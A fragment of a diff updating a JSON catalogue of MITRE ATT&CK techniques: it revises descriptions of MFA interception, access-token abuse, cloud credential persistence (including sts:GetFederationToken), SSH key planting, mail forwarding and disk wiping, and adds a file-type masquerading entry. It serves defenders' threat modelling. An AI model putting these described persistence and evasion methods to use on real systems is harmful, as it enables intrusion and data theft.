identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.(Citation: Okta Scatter Swine 2022)", "meta": { "external_id": "T1111", "kill_chain": [ @@ -7426,10 +7458,10 @@ "macOS" ], "refs": [ - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", "https://attack.mitre.org/techniques/T1111", "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf", - "https://gcn.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/" + "https://gcn.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/", + "https://sec.okta.com/scatterswine" ] }, "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49", @@ -7581,7 +7613,6 @@ "refs": [ "http://support.microsoft.com/kb/314984", "https://attack.mitre.org/techniques/T1021/002", - "https://capec.mitre.org/data/definitions/561.html", "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem", "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts", "https://en.wikipedia.org/wiki/Server_Message_Block", @@ -7777,13 +7808,14 @@ "value": "Clear Command History - T1070.003" }, { - "description": "Adversaries may modify mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate email mailbox data to remove logs and artifacts, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including Remove-MailboxExportRequest to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)", + "description": "Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534), [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003) for command and control, or email-based exfiltration such as [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell [PowerShell](https://attack.mitre.org/techniques/T1059/001) module, including Remove-MailboxExportRequest to remove evidence of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell Module) On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use [AppleScript](https://attack.mitre.org/techniques/T1059/002) to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation: mailx man page)\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.(Citation: Microsoft OAuth Spam 2022)", "meta": { "external_id": "T1070.008", "kill_chain": [ "mitre-attack:defense-evasion" ], "mitre_data_sources": [ + "Application Log: Application Log Content", "Command: Command Execution", "File: File Deletion", "File: File Modification", @@ -7801,6 +7833,7 @@ "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes", "https://man7.org/linux/man-pages/man1/mailx.1p.html", + "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/", "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/" ] }, @@ -7894,7 +7927,6 @@ "refs": [ "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/", "https://attack.mitre.org/techniques/T1021/001", - "https://capec.mitre.org/data/definitions/555.html", "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx" ] }, @@ -8176,7 +8208,7 @@ "value": "Local Data Staging - T1074.001" }, { - "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nIn AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", + "description": "Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. For example, in AWS environments, an adversary who compromises a user’s AWS API credentials may be able to use the `sts:GetFederationToken` API call to create a federated user session, which will have the same permissions as the original user but may persist even if the original user credentials are deactivated.(Citation: Crowdstrike AWS User Federation Persistence) Additionally, access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.", "meta": { "external_id": "T1550.001", "kill_chain": [ @@ -8197,7 +8229,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1550/001", "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", - "https://capec.mitre.org/data/definitions/593.html", "https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials", "https://cloud.google.com/iam/docs/service-account-monitoring", "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen", @@ -8205,7 +8236,8 @@ "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html", "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens", "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration", - "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/" + "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/", + "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/" ] }, "related": [ @@ -8250,7 +8282,7 @@ "value": "SQL Stored Procedures - T1505.001" }, { - "description": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. On Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) Additionally, xcopy on Windows can copy files and directories with a variety of options.\n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)", + "description": "Adversaries may use utilities to compress and/or encrypt collected data prior to exfiltration. Many utilities include functionalities to compress, encrypt, or otherwise package data into a format that is easier/more secure to transport.\n\nAdversaries may abuse various utilities to compress or encrypt data before exfiltration. Some third party utilities may be preinstalled, such as tar on Linux and macOS or zip on Windows systems. \n\nOn Windows, diantz or makecab may be used to package collected files into a cabinet (.cab) file. diantz may also be used to download and compress files from remote locations (i.e. [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002)).(Citation: diantz.exe_lolbas) xcopy on Windows can copy files and directories with a variety of options. Additionally, adversaries may use [certutil](https://attack.mitre.org/software/S0160) to Base64 encode collected data before exfiltration. \n\nAdversaries may use also third party utilities, such as 7-Zip, WinRAR, and WinZip, to perform similar activities.(Citation: 7zip Homepage)(Citation: WinRAR Homepage)(Citation: WinZip Homepage)", "meta": { "external_id": "T1560.001", "kill_chain": [ @@ -8285,14 +8317,13 @@ "value": "Archive via Utility - T1560.001" }, { - "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)", + "description": "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials tied to the permissions of the original user account. These credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)", "meta": { "external_id": "T1098.001", "kill_chain": [ "mitre-attack:persistence" ], "mitre_data_sources": [ - "Active Directory: Active Directory Object Modification", "User Account: User Account Modification" ], "mitre_platforms": [ @@ -8309,6 +8340,7 @@ "https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/", "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/", "https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1", + "https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/", "https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815" ] }, @@ -8465,7 +8497,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1550/002", - "https://capec.mitre.org/data/definitions/644.html", "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/" ] }, @@ -8532,7 +8563,6 @@ "refs": [ "https://attack.mitre.org/techniques/T1056/002", "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html", - "https://capec.mitre.org/data/definitions/659.html", "https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/", "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/", "https://logrhythm.com/blog/do-you-trust-your-computer/", @@ -8698,7 +8728,6 @@ "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", "https://adsecurity.org/?p=556", "https://attack.mitre.org/techniques/T1550/003", - "https://capec.mitre.org/data/definitions/645.html", "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf", "https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/" ] @@ -8730,7 +8759,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1056/003", - "https://capec.mitre.org/data/definitions/569.html", "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" ] }, @@ -8844,8 +8872,7 @@ ], "refs": [ "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/", - "https://attack.mitre.org/techniques/T1036/006", - "https://capec.mitre.org/data/definitions/649.html" + "https://attack.mitre.org/techniques/T1036/006" ] }, "related": [ @@ -8915,6 +8942,36 @@ "uuid": "c071d8c1-3b3a-4f22-9407-ca4e96921069", "value": "Install Digital Certificate - T1608.003" }, + { + "description": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file’s signature, extension, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)", + "meta": { + "external_id": "T1036.008", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Command: Command Execution", + "File: File Modification" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1036/008", + "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload" + ] + }, + "related": [ + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "type": "subtechnique-of" + } + ], + "uuid": "208884f1-7b83-4473-ac22-4e1cf6c41471", + "value": "Masquerade File Type - T1036.008" + }, { "description": "An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\n\nFor example, in Azure AD environments, an adversary with the Application Administrator role can add [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to their application's service principal. In doing so the adversary would be able to gain the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) Similarly, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nSimilarly, an adversary with the Azure AD Global Administrator role can toggle the “Access management for Azure resources” option to gain the ability to assign privileged access to Azure subscriptions and virtual machines to Azure AD users, including themselves.(Citation: Azure AD to AD) ", "meta": { @@ -9007,7 +9064,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1550/004", - "https://capec.mitre.org/data/definitions/60.html", "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", "https://wunderwuzzi23.github.io/blog/passthecookie.html" ] @@ -9064,7 +9120,7 @@ "value": "Credential API Hooking - T1056.004" }, { - "description": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. ", + "description": "Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) \n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)", "meta": { "external_id": "T1098.004", "kill_chain": [ @@ -9078,13 +9134,15 @@ "mitre_platforms": [ "Linux", "macOS", - "IaaS" + "IaaS", + "Network" ], "refs": [ "https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/", "https://attack.mitre.org/techniques/T1098/004", "https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata", "https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update", + "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478", "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability", "https://www.ssh.com/ssh/authorized_keys/", "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities" @@ -9345,14 +9403,15 @@ "value": "Compiled HTML File - T1218.001" }, { - "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)", + "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Furthermore, email forwarding rules can allow adversaries to maintain persistent access to victim's emails even after compromised credentials are reset by administrators.(Citation: Pfammatter - Hidden Inbox Rules) Most email clients allow users to create inbox rules for various email functions, including forwarding to a different recipient. These rules may be created through a local email application, a web interface, or by command-line interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2)(Citation: Mac Forwarding Rules)\n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. Adversaries may also hide the rule by making use of the Microsoft Messaging API (MAPI) to modify the rule properties, making it hidden and not visible from Outlook, OWA or most Exchange Administration tools.(Citation: Pfammatter - Hidden Inbox Rules)\n\nIn some environments, administrators may be able to enable email forwarding rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to enable forwarding on all or specific mail an organization receives. ", "meta": { "external_id": "T1114.003", "kill_chain": [ "mitre-attack:collection" ], "mitre_data_sources": [ - "Application Log: Application Log Content" + "Application Log: Application Log Content", + "Command: Command Execution" ], "mitre_platforms": [ "Office 365", @@ -9365,6 +9424,7 @@ "https://attack.mitre.org/techniques/T1114/003", "https://blog.compass-security.com/2018/09/hidden-inbox-rules-in-microsoft-exchange/", "https://blogs.technet.microsoft.com/timmcmic/2015/06/08/exchange-and-office-365-mail-forwarding-2/", + "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules", "https://support.apple.com/guide/mail/reply-to-forward-or-redirect-emails-mlhlp1010/mac", "https://www.us-cert.gov/ncas/alerts/TA18-086A" ] @@ -9555,7 +9615,7 @@ "value": "Security Software Discovery - T1418.001" }, { - "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", + "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)", "meta": { "external_id": "T1561.001", "kill_chain": [ @@ -9616,7 +9676,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1518/001", - "https://capec.mitre.org/data/definitions/581.html", "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSecurityGroups.html", "https://expel.io/blog/finding-evil-in-aws/" ] 